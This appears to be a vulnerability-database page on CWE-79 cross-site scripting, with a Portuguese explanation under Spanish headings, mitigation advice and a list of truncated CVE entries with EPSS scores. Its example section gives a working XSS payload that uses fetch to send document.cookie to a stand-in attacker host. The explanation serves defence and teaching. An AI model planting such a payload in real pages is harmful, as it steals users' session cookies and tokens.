Fallos del tipo CWE-79

28.589 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-8262—A vulnerability in the Pulse Connect Secure / Pulse Policy Secure below 9.1R9 could allow attackers to conduct Cross-Site Scripting (XSS) anEPSS 1.8%CVE-2022-1168—JobSearch < 1.5.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)EPSS 1.8%CVE-2020-9742CRITICALReflected XSS in AEM Inbox moduleEPSS 1.8%CVE-2023-27898CRITICALJenkins 2.270 through 2.393 (both inclusive), LTS 2.277.1 through 2.375.3 (both inclusive) does not escape the Jenkins version a plugin depeEPSS 1.8%CVE-2023-45134CRITICALXWiki Platform XSS vulnerability from account in the create page form via template providerEPSS 1.8%CVE-2022-48177MEDIUMX2CRM Open Source Sales CRM 6.6 and 6.9 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the adin/importMoEPSS 1.8%CVE-2022-48178MEDIUMX2CRM Open Source Sales CRM 6.6 and 6.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Create Action fuEPSS 1.8%CVE-2024-43481MEDIUMPower BI Report Server Spoofing VulnerabilityEPSS 1.8%CVE-2024-4348MEDIUMosCommerce all-products cross site scriptingEPSS 1.8%CVE-2020-0924MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.8%CVE-2022-40359MEDIUMCross site scripting (XSS) vulnerability in kfm through 1.4.7 via crafted GET request to /kfm/index.php.EPSS 1.8%CVE-2018-0386—A vulnerability in Cisco Unified Communications Domain Manager Software could allow an unauthenticated, remote attacker to conduct a cross-sEPSS 1.8%CVE-2023-26750CRITICALSQL injection vulnerability found in Yii Framework Yii 2 Framework before v.2.0.47 allows the a remote attacker to execute arbitrary code viEPSS 1.8%CVE-2017-7463MEDIUMJBoss BRMS 6 and BPM Suite 6 before 6.4.3 are vulnerable to a reflected XSS via artifact upload. A malformed XML file, if uploaded, causes aEPSS 1.8%CVE-2021-21084HIGHAdobe Experience Manager stored cross-site scripting vulnerability in resource resolver factory could lead to arbitrary code executionEPSS 1.8%CVE-2020-8204—A cross site scripting (XSS) vulnerability exists in Pulse Connect Secure <9.1R5 on the PSAL Page.EPSS 1.8%CVE-2021-3831HIGHCross-site Scripting (XSS) - Reflected in gnuboard/gnuboard5EPSS 1.8%CVE-2022-0533—Ditty (formerly Ditty News Ticker) < 3.0.15 - Reflected Cross-Site Scripting (XSS)EPSS 1.8%CVE-2021-24545—WP HTML Author Bio <= 1.2.0 - Author+ Stored Cross-Site ScriptingEPSS 1.8%CVE-2022-0970HIGHCross-site Scripting (XSS) - Stored in getgrav/gravEPSS 1.8%